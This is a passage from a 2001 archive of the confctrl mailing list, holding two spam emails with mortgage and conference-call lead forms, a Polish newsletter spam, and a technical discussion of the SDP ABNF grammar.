bgColor="#000080"><input maxLength="50" size="29" name="Address"><font 
color="#ffffff">*</font></td>     </tr>     <tr align="middle">       <td 
align="right" width="208" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">City:</font></td>       <td align="left" width="328" 
bgColor="#000080"><input id="City" maxLength="30" size="29" name="City"><font 
color="#ffffff">*</font></td>     </tr>     <tr align="middle">       <td 
align="right" width="208" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">State         (USA Only):</font></td>       <td align="left" 
width="328" bgColor="#000080"><select id="State" size="1" name="State">        
   <option value="AK" selected>AK</option>           &nbsp;           <option 
value="AR">AR</option>           &nbsp;           <option 
value="AZ">AZ</option>           &nbsp;           <option 
value="CA">CA</option>           &nbsp;           <option 
value="CO">CO</option>           &nbsp;           <option 
value="CT">CT</option>           &nbsp;           <option 
value="DC">DC</option>           &nbsp;           <option 
value="DE">DE</option>           &nbsp;           <option 
value="FL">FL</option>           &nbsp;           <option 
value="GA">GA</option>           &nbsp;           <option 
value="HI">HI</option>           &nbsp;           <option 
value="IA">IA</option>           &nbsp;           <option 
value="ID">ID</option>           &nbsp;           <option 
value="IL">IL</option>           &nbsp;           <option 
value="IN">IN</option>           &nbsp;           <option 
value="KS">KS</option>           &nbsp;           <option 
value="KY">KY</option>           &nbsp;           <option 
value="LA">LA</option>           &nbsp;           <option 
value="MA">MA</option>           &nbsp;           <option 
value="MD">MD</option>           &nbsp;           <option 
value="ME">ME</option>           &nbsp;           <option 
value="MI">MI</option>           &nbsp;           <option 
value="MN">MN</option>           &nbsp;           <option 
value="MO">MO</option>           &nbsp;           <option 
value="MS">MS</option>           &nbsp;           <option 
value="MT">MT</option>           &nbsp;           <option 
value="NC">NC</option>           &nbsp;           <option 
value="ND">ND</option>           &nbsp;           <option 
value="NE">NE</option>           &nbsp;           <option 
value="NH">NH</option>           &nbsp;           <option 
value="NJ">NJ</option>           &nbsp;           <option 
value="NM">NM</option>           &nbsp;           <option 
value="NV">NV</option>           &nbsp;           <option 
value="NY">NY</option>           &nbsp;           <option 
value="OH">OH</option>           &nbsp;           <option 
value="OK">OK</option>           &nbsp;           <option 
value="OR">OR</option>           &nbsp;           <option 
value="PA">PA</option>           &nbsp;           <option 
value="RI">RI</option>           &nbsp;           <option 
value="SC">SC</option>           &nbsp;           <option 
value="SD">SD</option>           &nbsp;           <option 
value="TN">TN</option>           &nbsp;           <option 
value="TX">TX</option>           &nbsp;           <option 
value="UT">UT</option>           &nbsp;           <option 
value="VA">VA</option>           &nbsp;           <option 
value="VT">VT</option>           &nbsp;           <option 
value="WA">WA</option>           &nbsp;           <option 
value="WI">WI</option>           &nbsp;           <option 
value="WV">WV</option>           &nbsp;           <option value="WY">WY&nbsp;
</option>           &nbsp;         </select><font 
color="#ffffff">*</font></td>     </tr>     <tr align="middle">       <td 
align="right" width="208" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Zip/Postal         Code:</font></td>       <td align="left" 
width="328" bgColor="#000080"><input maxLength="10" size="14" 
name="PostalCode"><font color="#ffffff">*</font></td>     </tr>     <tr 
align="middle">       <td align="right" width="208" bgColor="#000080"><font 
size="+0" color="#ffffff" face="Arial">Home         Phone:&nbsp;</font></td>   
    <td align="left" width="328" bgColor="#000080"><input maxLength="12" 
size="14" name="HPhone"><font color="#ffffff">*</font></td>     </tr>     <tr 
align="middle">       <td align="right" width="208" bgColor="#000080"><font 
size="+0" color="#ffffff" face="Arial">Work         Phone:</font></td>       
<td align="left" width="328" bgColor="#000080"><input maxLength="12" size="14" 
name="WPhone"><font color="#ffffff">*</font></td>     </tr>     <tr 
align="middle">       <td align="right" width="208" bgColor="#000080"><font 
size="+0" color="#ffffff" face="Arial">Email         Address:</font></td>      
 <td align="left" width="328" bgColor="#000080"><input maxLength="100" 
size="14" name="Email"><font color="#ffffff">*</font></td>     </tr>     <tr 
align="middle">       <td align="right" width="208" bgColor="#000080"><font 
size="+0" color="#ffffff" face="Arial">Best         Time to Call:</font></td>  
     <td align="left" width="328" bgColor="#000080"><select size="1" 
name="CallTime">           <option value="Morning at Home" selected>Morning at 
Home</option>           &nbsp;           <option value="Morning at 
Work">Morning at Work</option>           &nbsp;           <option 
value="Afternoon at Home">Afternoon at Home</option>           &nbsp;          
 <option value="Afternoon at Work">Afternoon at Work</option>           &nbsp; 
          <option value="Evening at Home">Evening at Home</option>           
&nbsp;           <option value="Late Evening at Work">Late Evening at 
Home</option>           &nbsp;         </select></td>     </tr>   </tbody>   
</table>   <div align="center">     <center>     <table cellSpacing="0" 
cellPadding="0" width="550" bgColor="#000099" border="0">       <tbody>        
 <tr>           <td align="right" width="212" bgColor="#000080"><font 
size="+0" color="#ffffff" face="Arial">Do             You Own Your Home?
:</font></td>           <td width="334" bgColor="#000080"><select size="1" 
name="Homeowner">               <option value="Yes" selected>Yes</option>      
         &nbsp;               <option value="No">No</option>               
&nbsp;             </select><b><font size="-1" color="#ffffff" 
face="Arial">Mobile             Homes DO NOT Qualify</font></b></td>         
</tr>         <tr>           <td align="right" width="212" 
bgColor="#000080"><font size="+0" color="#ffffff" face="Arial">Property        
     Value:</font></td>           <td width="334" bgColor="#000080"><input 
maxLength="100" size="14" name="PropertyValue"><font 
color="#ffffff">*</font></td>         </tr>         <tr>           <td 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Property             Type:</font></td>           <td width="334" 
bgColor="#000080"><select size="1" name="PropertyType">               <option 
value="Single Family Residence" selected>Single Family               
Residence</option>               &nbsp;               <option 
value="Condo">Condo</option>               &nbsp;               <option 
value="Townhouse">Townhouse</option>               &nbsp;               
<option value="2-4 Plex">2-4 Plex</option>               &nbsp;               
<option value="Other">Other</option>               &nbsp;             
</select></td>         </tr>         <tr>           <td align="right" 
width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Purchase             Price:</font></td>           <td width="334" 
bgColor="#000080"><input maxLength="100" size="14" name="PurchasePrice"><font 
color="#ffffff">*</font></td>         </tr>         <tr>           <td 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Year             Acquired:</font></td>           <td width="334" 
bgColor="#000080"><input maxLength="100" size="14" name="YearAcquired"><font 
color="#ffffff">*</font></td>         </tr>         <tr>           <td 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">1st             Mortgage Balance Owed:</font></td>           <td 
width="334" bgColor="#000080"><input maxLength="100" size="14" 
name="Mortgage1"><font color="#ffffff">*</font></td>         </tr>         
<tr>           <td align="right" width="212" bgColor="#000080"><font size="+0" 
color="#ffffff" face="Arial">1st             Mortgage Interest 
Rate:</font></td>           <td width="334" bgColor="#000080"><input 
maxLength="100" size="14" name="CurrentIntRate"><font 
color="#ffffff">*</font></td>         </tr>         <tr>           <td 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Is             1st Adjustable or Fixed?:</font></td>           
<td width="334" bgColor="#000080"><select size="1" name="FirstType">           
    <option value="Fixed" selected>Fixed</option>               &nbsp;         
      <option value="Adjustable">Adjustable</option>               &nbsp;      
       </select><font color="#ffffff">*</font></td>         </tr>         <tr> 
          <td align="right" width="212" bgColor="#000080"><font size="+0" 
color="#ffffff" face="Arial">2nd             Mortgage Balance 
Owed:</font></td>           <td width="334" bgColor="#000080"><input 
maxLength="100" size="14" name="Mortgage2"></td>         </tr>         <tr>    
       <td align="right" width="212" bgColor="#000080"><font size="+0" 
color="#ffffff" face="Arial">Amount             You Wish To 
Borrow:</font></td>           <td width="334" bgColor="#000080"><input 
maxLength="100" size="14" name="BorrowRequest"><font 
color="#ffffff">*</font></td>         </tr>         <tr>           <td 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Employer:</font></td>           <td width="334" 
bgColor="#000080"><input maxLength="100" size="14" name="Employer"></td>       
  </tr>         <tr>           <td align="right" width="212" 
bgColor="#000080"><font size="+0" color="#ffffff" face="Arial">Monthly         
    Gross Household Income:</font></td>           <td width="334" 
bgColor="#000080"><input maxLength="100" size="14" 
name="MonthlyGrIncome"><font color="#ffffff">*</font></td>         </tr>       
  <tr>           <td bgColor="#000080">             <div align="right">        
       <font size="+0" face="Arial"><font color="#ffffff">Monthly 
Debt:</font><font color="#0000ff">:</font></font>&nbsp;             </div>     
      </td>           <td bgColor="#000080"><input maxLength="100" size="14" 
name="MonthlyDebt"></td>         </tr>         <tr>           <td noWrap 
align="right" width="212" bgColor="#000080"><font size="+0" color="#ffffff" 
face="Arial">Credit             Rating:</font></td>           <td width="334" 
bgColor="#000080"><select size="1" name="CreditRating">               <option 
value="Please Select" selected>Please Select</option>               <option 
value="Good">Good</option>               &nbsp;&nbsp;               <option 
value="Fair">Fair</option>               &nbsp;               <option 
value="Poor">Poor</option>               <option 
value="Excellent">Excellent</option>               &nbsp;             
</select><font color="#ffffff">*</font></td>         </tr>         <tr>        
   <td align="right" width="212" bgColor="#000080"><font size="+0" 
color="#ffffff" face="Arial">Loan             Interested In:</font></td>       
    <td width="334" bgColor="#000080"><select size="1" name="LoanInterested">  
             <option value="Consolidation" selected>Debt 
Consolidation</option>               &nbsp;               <option 
value="Second">Second Mortgage</option>               &nbsp;               
<option value="Improvement">Home Improvement</option>               &nbsp;     
          <option value="Refinance">Refinance</option>               &nbsp;    
           <option value="Refinance">Purchase</option>               &nbsp;    
         </select><font color="#ffffff">*</font></td>         </tr>       
</tbody>     </table>     </center>   </div>   <center><input type="submit" 
value="Submit Form" name="Submit"><input type="reset" value="Clear Form">   
</form> </center> <p align="center">&nbsp; <hr width="80%" size="1" 
color="#FF0000"> <p align="center"><font face="Arial" size="2"><font 
color="#000080"><b>Removal Instructions<br> </b>Click on the below link to be 
exclude from further communication.</font> <br><b><a href="mailto:expr18@uole.
com?subject=Delete-Mort">Click Here</a></b></font> </td> </tr> </table>  
</div>  </body> </html> 


From confctrl-owner  Thu Apr 12 09:26:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA18524
	for confctrl-outgoing; Thu, 12 Apr 2001 09:26:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA18518
	for <confctrl@zephyr.isi.edu>; Thu, 12 Apr 2001 09:26:26 -0700 (PDT)
Received: from marlin.onet.pl (mail.onet.pl [213.180.128.16])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3CGQNq22938;
	Thu, 12 Apr 2001 09:26:24 -0700 (PDT)
Received: from po160.warszawa.sdi.tpnet.pl ([213.76.251.160]:1084 "HELO Renata"
        smtp-auth: <none> TLS-CIPHER: <none> TLS-CCERT: <none>)
	by mail.onet.pl with SMTP id <S624265AbRDLQUm>;
	Thu, 12 Apr 2001 18:20:42 +0200
Message-ID: <001601c0c36c$8bfd6e20$0200a8c0@Renata>
From: "19719009" <19719009@pro.onet.pl>
To: <Undisclosed-Recipient:@ISI.EDU;>
Subject: * Wesolego Alleluja * 2001 * SERWIS EKOLOGIKA *
Date:   Thu, 12 Apr 2001 18:16:24 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Nowe wydanie magazynu EKOLOGIKA dla prenumeratorow
http://www.ekologika.com.pl

Nowosci w serwisie EKOLOGIKA:
1) Artykuly prasowe
http://www.ekologika.home.pl/news_toc.htm
2) Darmowy program komputerowy dla ewi
http://www.ekologika.com/news/ewi/program_ewi.htm
3) Zbieramy podpisy pod listem do Rzadu
http://www.ekologika.com/list.htm

Wkrotce rusza:
Gielda pomyslow http://www.ekologika.com/pomysly.htm


==============  *** REKLAMA *** ==================
MASZ DOSC WYSOKICH RACHUNKOW ZA ENERGIE!!!
KUP KOLEKTORY SLONECZNE LUB POMPE CIEPLA
+ SKORZYTAJ Z PROMOCJI - 'WIOSA 2001'
+ 7, 14, 21 DNIOWE WCZASY; PRZY ZAKUPIE ZESTAWU
http://www.ekologika.com/ndew2001.htm
!!UWAGA!! DLA 20 PIERWSZYCH KLIENTÓW EXTRA RABAT!!
**************************************************


Przypominamy - sta³e dzialy naszego serwisu:
CHAT http://www.ekologika.com/misc/chat.htm
FORUM http://www.ekologika.com/disc_frm.htm
SONDA http://www.ekologika.com/sonda.htm
POGODA http://www.ekologika.com/misc/info.htm

==================================================
Jezeli nie chcesz otrzymywaæ naszego wydawnictwa
http://www.ekologika.com/subscribe.htm

--------------------------------------------------
DZIAL REKLAMY SERWISU EKOLOGIKA:
http://www.ekologika.com/reklama/index.htm
-------------------code=19719009------------------


From confctrl-owner  Fri Apr 13 12:34:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA13742
	for confctrl-outgoing; Fri, 13 Apr 2001 12:34:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA13736
	for <confctrl@zephyr.isi.edu>; Fri, 13 Apr 2001 12:33:58 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [64.102.17.204])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3DJY1q02387
	for <confctrl@isi.edu>; Fri, 13 Apr 2001 12:34:01 -0700 (PDT)
Received: from localhost (drrevis@localhost)
	by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id PAA26260;
	Fri, 13 Apr 2001 15:33:07 -0400 (EDT)
Message-Id: <200104131933.PAA26260@cisco.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: confctrl@ISI.EDU
cc: drrevis@cisco.com
Subject: Updated ABNF syntax comments
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 13 Apr 2001 15:33:07 -0400
From: Renee Revis <drrevis@cisco.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


    I'm just jumping in here, but have a few comments/questions on this 
updated syntax relative to the current version of draft-ietf-mmusic-sdp-new-01.
txt.

1) s= line.  The draft says one and only one s= line is required per
session description, but the syntax below shows it as optional.

2) The draft says that either an email field or a phone field must be
specified, but this isn't shown in the syntax below.  I'm not suggesting 
that it should be.  My take would be to remove this requirement from the 
text.

3) Multiple b= lines are allowed by the syntax at either the session
level or the media levels, but there is no mention in the draft of how 
an application should interpret this.  Are multiple b= lines really 
allowed at each level?  If so, what is the intended meaning, in 
particular if the same modifier is specified more than once?  If this
is allowed, it might be good to mention this case in the draft.

4) The m= media line shows the port as allowing only one '/' character.
Some transport types may want to allow more than that - e.g. for some 
ATM transport types.  May want to modify this to:
    port *("/" integer)  instead of port ["/" integer ]

Also with this, I'm curious as to why the port rule specifies 1*DIGIT
instead of integer as in the media-field rule.

5) As for the proto rule, I would vote for the latter option - i.e.,
token *("/" token).  The other, 1*(token-char|"/"), would allow /AVP which I 
don't think is really intended.

>   Alternately, we could define it as 1*(token-char|"/"), or as
>   token *("/" token).  What semantics does the group want for this field?


			   Renee Revis		


Jonathan Lennox wrote:

> On Sunday, April 1 2001, "Flemming Andreasen" wrote to "Jonathan Lennox, Tom-PT Taylor, confctrl" saying:
>
> > > I've been playing around with this off and on, and have a re-worked ABNF
> > > largely done. I can send this to the list on Monday
> >
> > That would be most welcome.
>
> Here it is.
>
> A few notes on it:
>
> * The ABNF syntax used complies with RFC 2234, with two exceptions:
>   "|" rather than "/" is the alternation character, and literal strings are
>   case-sensitive.  The RFC 2234 "core" productions (ALPHA, DIGIT, CRLF, SP,
>   VCHAR) are used where appropriate.
>
> * Since the group decided that the "media" and "fmt" parameters would be
>   MIME types, I've aligned their ABNF definitions to align with those of RFC
>   2045.  (Before they were just "alphanum", which was too restrictive.)
>   This introduced the "token" production, which I've then also used in other
>   places that used to have a too-restrictive alphanum.
>
> * Grammar components that come from external sources (IPv4 and v6 addresses,
>   e-mail addresses, and URIs) are included by reference rather than by
>   value.
>
> * The "addr-spec" production (e-mail addresses, from the RFC 822bis draft)
>   says "modified to remove CFWS".  This is because 822bis allows addresses
>   to contain folding whitespace, which obviously can't be allowed in SDP.
>   I'm wondering if maybe the syntax should be some core of a mailto: URL
>   instead.
>
> * I've added an "addr = extension-addr" production to allow for the PINT and
>   ATM extensions to SDP.  I *believe* that this grammar will fully accept
>   PINT and ATM SDP messages.
>
> * I've added IPv6.  I think this is the same as the syntax defined by
>   draft-olson-sdp-ipv6, but I'm not positive.
>
> * For the specific issue raised by the beginning of this thread -- the fact
>   that "RTP/AVP" doesn't match the production for "proto" -- I've redefined
>   "proto" as
>           proto = token "/" token
>                 | token
>
>   Alternately, we could define it as 1*(token-char|"/"), or as
>   token *("/" token).  What semantics does the group want for this field?
>
> Comments are welcome.
>
>   ------------------------------------------------------------------------
>    ; SDP Syntax (cleaned up)
>    announcement =        proto-version
>                          origin-field
>                          session-name-field
>                          information-field
>                          uri-field
>                          email-fields
>                          phone-fields
>                          connection-field
>                          bandwidth-fields
>                          time-fields
>                          key-field
>                          attribute-fields
>                          media-descriptions
>
>    proto-version =       "v=" 1*DIGIT CRLF
>                          ;this memo describes version 0
>
>    origin-field =        "o=" username SP sess-id SP sess-version SP
>                          nettype SP addrtype SP addr CRLF
>
>    session-name-field =  ["s=" text CRLF]
>
>    information-field =   ["i=" text CRLF]
>
>    uri-field =           ["u=" uri CRLF]
>
>    email-fields =        *("e=" email-address CRLF)
>
>    phone-fields =        *("p=" phone-number CRLF)
>
>    connection-field =    ["c=" nettype SP addrtype SP
>                          connection-address CRLF]
>                          ;a connection field must be present
>                          ;in every media description or at the
>                          ;session-level
>
>    bandwidth-fields =    *("b=" bwtype ":" bandwidth CRLF)
>
>    time-fields =         1*( "t=" start-time SP stop-time
>                          *(CRLF repeat-fields) CRLF)
>                          [zone-adjustments CRLF]
>
>    repeat-fields =       "r=" repeat-interval SP typed-time
>                          1*(SP typed-time)
>
>    zone-adjustments =    "z=" time SP ["-"] typed-time
>                          *(SP time SP ["-"] typed-time)
>
>    key-field =           ["k=" key-type CRLF]
>
>    attribute-fields =    *("a=" attribute CRLF)
>
>    media-descriptions =  *( media-field
>                          information-field
>                          *connection-field
>                          bandwidth-fields
>                          key-field
>                          attribute-fields )
>
>    media-field =         "m=" media SP port ["/" integer]
>                          SP proto 1*(SP fmt) CRLF
>
>    ; sub-rules of 'o='
>    username =            non-ws-string
>                          ;pretty wide definition, but doesn't include space
>
>    sess-id =             1*DIGIT
>                          ;should be unique for this originating username/host
>
>    sess-version =        1*DIGIT
>                          ;0 is a new session
>
>    nettype =             token
>                          ;typically "IN"
>
>    addrtype =            token
>                          ;typically "IP4" or "IP6"
>
>    ; sub-rules of 'u='
>    uri =                 URI-reference; defined in RFC2396/2732
>
>    ; sub-rules of 'e='
>    email-address =       email *SP "(" 1*email-safe ")" |
>                          1*email-safe "<" email ">" |
>                          email
>
>    email =               addr-spec ; defined in drums msgfmt (RFC822bis)
>                                    ; modified to remove CFWS
>
>    ; sub-rules of 'p='
>    phone-number =        phone *SP "(" 1*email-safe ")" |
>                          1*email-safe "<" phone ">" |
>                          phone
>
>    phone =               "+" POS-DIGIT 1*(SP | "-" | DIGIT)
>                          ;there must be a space or hyphen between the
>                          ;international code and the rest of the number.
>
>                          ; Should this use the tel: URL syntax?
>
>    ; sub-rules of 'c='
>    connection-address =  multicast-address
>                          | addr
>
>    ; sub-rules of 'b='
>    bwtype =              token
>
>    bandwidth =           1*DIGIT
>
>    ; sub-rules of 't='
>    start-time =          time | "0"
>
>    stop-time =           time | "0"
>
>    time =                POS-DIGIT 9*DIGIT
>                          ; 10-digit NTP time represents times between
>                          ; 1931 and 5068 AD.  9* allows times after that
>                          ; as well.
>
>    ; sub-rules of 'r=' and 'z='
>    repeat-interval =     typed-time
>
>    typed-time =          POS-DIGIT *DIGIT [fixed-len-time-unit]
>
>    fixed-len-time-unit = "d" | "h" | "m" | "s"
>
>    ; sub-rules of 'k='
>    key-type =            "prompt" |
>                          "clear:" text |
>                          "base64:" base64 |
>                          "uri:" uri |
>                          key-method [ ":" text ]
>
>    base64      =         *base64-unit [base64-pad]
>    base64-unit =         4base64-char
>    base64-pad  =         2base64-char "==" | 3base64-char "="
>    base64-char =         ALPHA | DIGIT | "+" | "/"
>
>    key-method =          token
>
>    ; sub-rules of 'a='
>    attribute =           (att-field ":" att-value) | att-field
>
>    att-field =           token
>
>    att-value =           byte-string
>
>    ; sub-rules of 'm='
>    media =               token
>                          ;typically "audio", "video", "application"
>                          ;or "data"
>
>    fmt =                 token
>                          ;typically an RTP payload type for audio
>                          ;and video media
>
>    proto  =              token "/" token
>                          | token
>                          ;typically "RTP/AVP" or "udp" for IP4
>
>    port =                1*DIGIT
>                          ;should in the range "1024" to "65535" inclusive
>                          ;for UDP based media
>
>    ; generic sub-rules: addressing
>    multicast-address =   addr "/" ttl [ "/" integer ]
>                          ;IPv4 multicast addresses must be in the range
>                          ;224.0.0.0 to 239.255.255.255
>                          ;IPv6 multicast addresses must begin with the byte
>                          ;FF or include an IPv4 multicast address
>
>    ttl =                 (POS-DIGIT *2DIGIT) | "0"
>
>    addr =                IPv4address | IPv6address | FQDN | extension-addr
>
>    FQDN =                *( domainlabel "." ) toplabel
>
>    domainlabel =         alpha-numeric restoflabel
>
>    toplabel =            ALPHA restoflabel
>
>    restoflabel =         *(*("-") alpha-numeric)
>
>    extension-addr =      non-ws-string
>
>    ; generic sub-rules: datatypes
>    text =                byte-string
>                          ;default is to interpret this as IS0-10646 UTF8
>                          ;ISO 8859-1 requires a "a=charset:ISO-8859-1"
>                          ;session-level attribute to be used
>
>    byte-string =         1*(%x01-09|%x0b-0c|%x0e-ff)
>                          ;any byte except NUL, CR or LF
>
>    non-ws-string =       1*(VCHAR|%x80-ff)
>                          ;string of visible US-ASCII, or high-bit, characters
>
>    token-char =          %x21|%x23-27|%x2a-2b|%x2d-2e|%x30-39|
>                              %x41-5a|%x5e-7e
>                          ; definition from RFC 2045 -
>                          ; "any (US-ASCII) CHAR except SPACE, CTLs,
>                          ; or tspecials".
>                          ; the tspecials are ()<>@,;:\"/[]?=
>
>    token =               1*(token-char)
>
>    email-safe =          1*(%x01-09|%x0b-0c|%x0e-27|
>                             %x2a-3b|%x3d|%x3e-ff)
>                          ;any byte except NUL, CR, LF, or the quoting
>                          ;characters ()<>
>
>    integer =             POS-DIGIT *DIGIT
>
>    ; generic sub-rules: primitives
>
>    alpha-numeric =       ALPHA | DIGIT
>
>    POS-DIGIT =           %x31-39 ; 1 - 9
>
>    ; external references:
>    ; addr-spec: from draft-ietf-drums-msg-format (RFC822bis)
>    ; IPv4address, IPv6address: From RFC 2373
>    ; URI-reference: from RFC 2396, as modified by RFC 2732
>    ; ALPHA, DIGIT, CRLF, SP, VCHAR: from RFC 2234
>
>   ------------------------------------------------------------------------
>
> --
> Jonathan Lennox
> lennox@cs.columbia.edu




From confctrl-owner  Sun Apr 15 05:23:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA08583
	for confctrl-outgoing; Sun, 15 Apr 2001 05:23:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA08578
	for <confctrl@zephyr.isi.edu>; Sun, 15 Apr 2001 05:23:12 -0700 (PDT)
Received: from firewall ([61.33.22.66])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f3FCNEq18447
	for <confctrl@isi.edu>; Sun, 15 Apr 2001 05:23:15 -0700 (PDT)
Message-ID: <00000ba145bc$0000189e$000061b8@denpa.net>
To: <pcmembers@infosales1.org>
From: cc4less@denpa.net
Subject: 24hr customer support                         25016
Date: Fri, 13 Apr 2001 06:20:44 -0800
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD>=
<TITLE>Take Control Of Your Conference Calls</TITLE><META http-equiv=3DCon=
tent-Type content=3D"text/html; charset=3Dwindows-1252"><META content=3D"M=
SHTML 5.50.4134.100" name=3DGENERATOR></HEAD><BODY vLink=3D#c0c0c0 link=3D=
#c0c0c0 bgColor=3D#000000 leftMargin=3D0><PRE><FONT face=3Darial,helvetica=
><HEAD><META content=3DFrontPage.Editor.Document name=3DProgId><DIV align=3D=
center><CENTER><TABLE height=3D789 cellSpacing=3D0 cellPadding=3D0 width=3D=
602 border=3D0><TBODY><TR vAlign=3Dtop><TD width=3D602 height=3D452><DIV a=
lign=3Dcenter><TABLE width=3D470 border=3D0><TBODY><TR><TD><P align=3Dcent=
er><FONT color=3D#0000ff size=3D7><B><FONT color=3D999999 size=3D6>Why Pay=
 More For Your </FONT></B></FONT><FONT color=3D#999999 size=3D6><B>Confere=
nce Calls?</B></FONT></P></TD></TR></TBODY></TABLE><TABLE width=3D352 bord=
er=3D0><TBODY><TR><TD><P align=3Dcenter><FONT color=3D#ff0000 size=3D5>Onl=
y <U><B>.18 Cents </B></U>per minute (Including long distance!)</FONT></P>=
</TD></TR></TBODY></TABLE></DIV><UL><UL><UL><UL><UL><LI><DIV align=3Dleft>=
<FONT color=3D999999 size=3D3><B>No setup fees</B></FONT></DIV><LI><DIV al=
ign=3Dleft><FONT color=3D999999 size=3D3><B>No contracts or monthly fees</=
B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>Call=
 anytime, from anywhere, to anywhere</B></FONT></DIV><LI><DIV align=3Dleft=
><FONT color=3D999999 size=3D3><B>International Dial In 18 cents per minut=
e</B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>C=
onnects up to 100 participants</B></FONT></DIV><LI><DIV align=3Dleft><FONT=
 color=3D999999 size=3D3><B>Operator Help available 24/7</B></FONT></DIV><=
/LI></UL></UL></UL></UL></UL><DIV align=3Dcenter><TABLE width=3D424 border=
=3D0><TBODY><TR><TD><DIV align=3Dcenter><FONT color=3D#ff0000 size=3D6><B>=
<FONT size=3D5>Get the best quality, the easiest to use,</FONT></B></FONT>=
 <FONT color=3D#ff0000 size=3D5><B>and lowest rate in the industry.</B></F=
ONT></DIV></TD></TR></TBODY></TABLE><TABLE width=3D300 border=3D0><TBODY><=
TR><TD height=3D73><DIV align=3Dcenter><P align=3Dcenter><FONT color=3D#99=
9999 size=3D4>If you like saving money, fill out the form below and one of=
 our consultants will contact you.</FONT></P></DIV></TD></TR></TBODY></TAB=
LE></DIV></BLOCKQUOTE></BLOCKQUOTE><DIV align=3Dcenter><P align=3Dcenter><=
FONT color=3D#ff0000 size=3D2>Required Input Field</FONT><FONT color=3D#ff=
0000 size=3D2>*</FONT></P><TABLE cellSpacing=3D0 borderColorDark=3D#333300=
 cellPadding=3D3 width=3D600 borderColorLight=3D#ffffcc><TBODY><TR><TD><FO=
RM action=3D"mailto:inbox001@excite.com?subject=3DConference_Inquiry" meth=
od=3Dpost encType=3Dtext/plain><DIV align=3Dcenter><TABLE width=3D"100%"><=
TBODY><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Name*</FONT></DIV></TD><TD width=
=3D"51%"><FONT color=3D#ff0000><INPUT name=3DNAME> </FONT></TD></TR><TR><T=
D width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sans-se=
rif" color=3D#ff0000 size=3D2>Web Address*</FONT></DIV></TD><TD width=3D"5=
1%"><FONT color=3D#ff0000><INPUT value=3Dhttp:// name=3DURL> </FONT></TD><=
/TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetic=
a, sans-serif" color=3D#ff0000 size=3D2>Company Name*</FONT></DIV></TD><TD=
 width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DCOMPANY_NAME> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>State</FONT></DIV></TD><TD wid=
th=3D"51%"><FONT color=3D#ff0000><INPUT size=3D2 name=3DSTATE> </FONT></TD=
></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Business Phone*</FONT></DIV></TD=
><TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DBUS_PHONE> </FONT><=
/TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Hel=
vetica, sans-serif" color=3D#ff0000 size=3D2>Home Phone</FONT></DIV></TD><=
TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DHOME_PHONE> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>E-mail*</FONT></DIV></TD><TD w=
idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DEMAIL> </FONT></TD></TR><=
TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sa=
ns-serif" color=3D#ff0000 size=3D2>Type of Business</FONT></DIV></TD><TD w=
